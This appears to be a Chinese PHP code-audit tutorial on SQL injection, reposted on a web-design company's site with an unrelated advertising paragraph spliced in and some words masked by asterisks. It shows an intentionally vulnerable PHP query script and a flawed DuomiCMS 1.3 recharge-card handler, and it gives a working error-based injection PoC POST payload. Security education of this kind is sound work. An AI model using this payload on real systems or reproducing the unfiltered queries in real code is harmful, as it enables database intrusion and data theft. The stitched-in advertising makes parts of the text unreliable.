PHP代码审计SQL注入篇

什么是SQL注入

SQL注入***（SQL Injection），简称注入***，是Web开发中最常见的一种安全漏洞。可以用它来从数据库获取敏感信息，或者利用数据库的特性执行添加用户，导出文件等一系列恶意操作，甚至有可能获取数据库乃至系统用户最高权限。

十多年的巴宜网站建设经验，针对设计、前端、开发、售后、文案、推广等六对一服务，响应快，48小时及时工作处理。成都全网营销推广的优势是能够根据用户设备显示端的尺寸不同，自动调整巴宜建站的显示方式，使网站能够适用不同显示终端，在浏览器中调整网站的宽度，无论在任何一种浏览器上浏览网站，都能展现优雅布局与设计，从而大程度地提升浏览体验。成都创新互联从事“巴宜网站设计”,“巴宜网站推广”以来，每个客户项目都认真落实执行。

而造成SQL注入的原因是因为程序没有有效过滤用户的输入，使***者成功的向服务器提交恶意的SQL查询代码，程序在接收后错误的将***者的输入作为查询语句的一部分执行，导致原始的查询逻辑被改变，额外的执行了***者精心构造的恶意代码。

SQL注入实例

很多Web开发者没有意识到SQL查询是可以被篡改的，从而把SQL查询当作可信任的命令。殊不知，SQL查询是可以绕开访问控制，从而绕过身份验证和权限检查的。更有甚者，有可能通过SQL查询去运行主机系统级的命令。

下面将通过一些真实的例子来详细讲解SQL注入的方式。

测试代码如下：


$uid=$_GET['id'];
$sql="SELECT * FROM userinfo where id=$uid";
$conn=MySQL_connect('localhost','root','root');
mysql_select_db("sql",$conn);
$result=mysql_query($sql,$conn);
print_r('当前SQL语句: '.$sql.'
 结果: ');
print_r(mysql_fetch_row($result));
?>

首先我们看一下代码：

$uid=$_GET['id']; //获取GET值

$sql="SELECT * FROM userinfo where id=$uid";//执行SQL语句

$conn=mysql_connect('localhost','root','root');
mysql_select_db("sql",$conn);//数据库配配置

$result=mysql_query($sql,$conn);//进行查询SQL语句

print_r('当前SQL语句: '.$sql.'
 结果: ');
print_r(mysql_fetch_row($result));//进行打印输出没有任何的过滤所以利用简单的SQL注入语句就可以直接查询相关需要的信息。

从截图可以看出原本的SQL语句已被注入更改，使用了UNION查询到当前用户。

另外一个多米CMS最新版1.3版本注入实例。

漏洞文件member/mypay.php(14-40行)

if(empty($_SESSION['duomi_user_id'])){
    showMsg("请先登录","login.php");
exit();
}
elseif($dm=='mypay'){
    $key=$_POST['cardkey'];
if($key==""){showMsg("请输入充值卡号","-1");exit;}
    $pwd=$_POST['cardpwd'];
if($pwd==""){showMsg("请输入充值卡密码","-1");exit;}
    $sqlt="SELECT * FROM duomi_card where ckey='$key'";
    $sqlt="SELECT * FROM duomi_card where cpwd='$pwd'";
       $row1= $dsql->GetOne($sqlt);
if(!is_array($row1) OR $row1['status']<>0){
        showMsg("充值卡信息有误","-1");exit;
}else{
        $uname=$_SESSION['duomi_user_name'];
        $points=$row1['climit'];
        $dsql->executeNoneQuery("UPDATE duomi_card SET    usetime=NOW(),uname='$uname',status='1' WHERE ckey='$key'");
        $dsql->executeNoneQuery("UPDATE duomi_card SET usetime=NOW(),uname='$uname',status='1' WHERE cpwd='$pwd'");
        $dsql->executeNoneQuery("UPDATE duomi_member SET points=points+$points WHERE username='$uname'");
        showMsg("恭喜！充值成功！","mypay.php");exit;
}
}
else
{

此处的”cardpwd”变量没有进行过滤就以POST提交方式传入了数据库造成注入。 构造POC如下（注意此处需要注册用户并且登陆详情请看该文件1-17行）：

http://localhost/member/mypay.php?dm=mypay
POST：cardpwd=-1' AND (UPDATEXML(1,CONCAT(0x7e,(USER()),0x7e),1)) and '1'='1



来自为知笔记(Wiz)


													            
            
                            

                网站题目：PHP代码审计SQL注入篇                

                分享链接：http://dzwzjz.com/article/jcieig.html

大橙子网站建设，新征程启航

PHP代码审计SQL注入篇

什么是SQL注入

SQL注入实例

其他资讯